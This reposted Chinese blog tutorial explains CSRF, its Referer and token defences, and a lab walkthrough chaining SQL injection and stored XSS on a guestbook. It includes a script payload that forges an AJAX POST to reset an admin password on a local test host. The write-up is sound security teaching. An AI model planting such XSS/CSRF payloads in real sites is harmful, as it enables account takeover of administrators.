ICode9

精准搜索请尝试: 精确搜索
首页 > 其他分享> 文章详细

CSRF--跨站请求伪造

2021-06-20 23:31:01  阅读:144  来源: 互联网

标签:跨站 浏览器 请求 -- 字段 ajax CSRF xmlhttp


CSRF--跨站请求伪造

1. 原理

1.1 为何有CSRF漏洞

服务器对浏览器的cookie验证过之后,在有效期内,浏览器不需要再次认证就可以直接访问服务器。攻击者利用此原理,借助用户的cookie,进行请求的伪造。

1.2 漏洞原理

攻击者通过一些技术手段欺骗用户的浏览器去访问一个自己曾经认证过的网站并运行一些操作(如发邮件,发消息,甚至财产操作如转账和购买商品)。由于浏览器曾经认证过cookie,所以被访问的网站会认为是真正的用户操作而去运行。

从字面上理解CSRF(跨站请求伪造)

跨站:发生在目标网站上,借用目标网站的意思

请求:用户使用浏览器打开网页进行相关请求

伪造:攻击者伪造恶意请求,让目标浏览器代替执行

1.3 CSRF联合XSS原理

用户浏览器对服务器请求的时候,基于服务器对浏览器的信任(由于cookie没有过期),请求的时候会执行攻击者构造的恶意代码(常常利用存储型XSS上传恶意代码)

2. 防范

2.1 referer字段

HTTP头中有一个Referer字段,这个字段用以标明请求来源于哪个地址。一般情况下,Referer字段应和请求的地址位于同一域名下。如果有恶意请求攻击,referer字段中会记录恶意的网址信息。

因此检验referer字段的信息,请求目标地址是否和referer字段下的地址在同一域名。

2.2 token校验

token值通常是窗体中的一个数据项。服务器将其生成并附加在窗体中,其内容是一个伪随机数。客户端每次请求,这个值都会变化。

客户端在请求的时候,客户端携带一个随机token值,用作请求的校验,服务器验证成功,回复此请求。但是攻击者无法知道token值,因此伪造请求的时候,token值无法正常校验,服务器拒绝伪造请求。

3. XSS联合CSRF实例

3.1 绕过后台登录页面

​ 思路:通过sql注入找到管理员密码

1. 利用sql注入,在url框找到了 newsid=?
2. 利用联合查询

3.2 在留言板上测试xss漏洞

在这里插入图片描述

3.3 登录后台

​ http://192.168.1.105/admin/admin_index.php

​ 找到留言板管理,发现有弹窗信息4和5,因此确定”主题“和”内容“这两块有XSS漏洞

3.4 构造ajax请求

构造ajax请求,趁cookie未过期,借助服务器对浏览器的信任,构造伪造的请求

修改管理员的密码(但是在实际项目中,已经进入后台,就没必要修改管理员密码)
在这里插入图片描述

<script>
 var xmlhttp=new XMLHttpRequest();
 xmlhttp.open("POST","http://192.168.1.105/admin/adminadd.php?id=11","true")
 xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded");
 xmlhttp.send("name=admin&passwd=123456&remark=%B3%AC%BC%B6%B9%DC%C0%ED%D4%B1&mid=1&adminsubmit=%CC%E1%BD%BB");
</script>

注意 post 是以表单传输数据的,因此要有setRequestHeader

open() 三个参数分别为 请求方式,请求url,true表示异步请求

send() 表示发送的数据内容

4. ajax代码请求

​ AJAX学习连接 https://www.w3school.com.cn/ajax/ajax_xmlhttprequest_send.asp

<html>
<head>
<script type="text/javascript">
function loadXMLDoc()
{
var xmlhttp;
if (window.XMLHttpRequest)
  {// code for IE7+, Firefox, Chrome, Opera, Safari
  xmlhttp=new XMLHttpRequest();
  }
else
  {// code for IE6, IE5
  xmlhttp=new ActiveXObject("Microsoft.XMLHTTP");
  }
xmlhttp.onreadystatechange=function()
  {
  if (xmlhttp.readyState==4 && xmlhttp.status==200)
    {
    document.getElementById("myDiv").innerHTML=xmlhttp.responseText;
    }
  }
xmlhttp.open("GET","/ajax/demo_get2.asp?fname=Bill&lname=Gates",true);
xmlhttp.send();
}
</script>
</head>
<body>
    
<h2>AJAX</h2>
<button type="button" onclick="loadXMLDoc()">请求数据</button>
<div id="myDiv"></div>

</body>
</html>

标签:跨站,浏览器,请求,--,字段,ajax,CSRF,xmlhttp
来源: https://blog.csdn.net/weixin_46684578/article/details/118028058

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有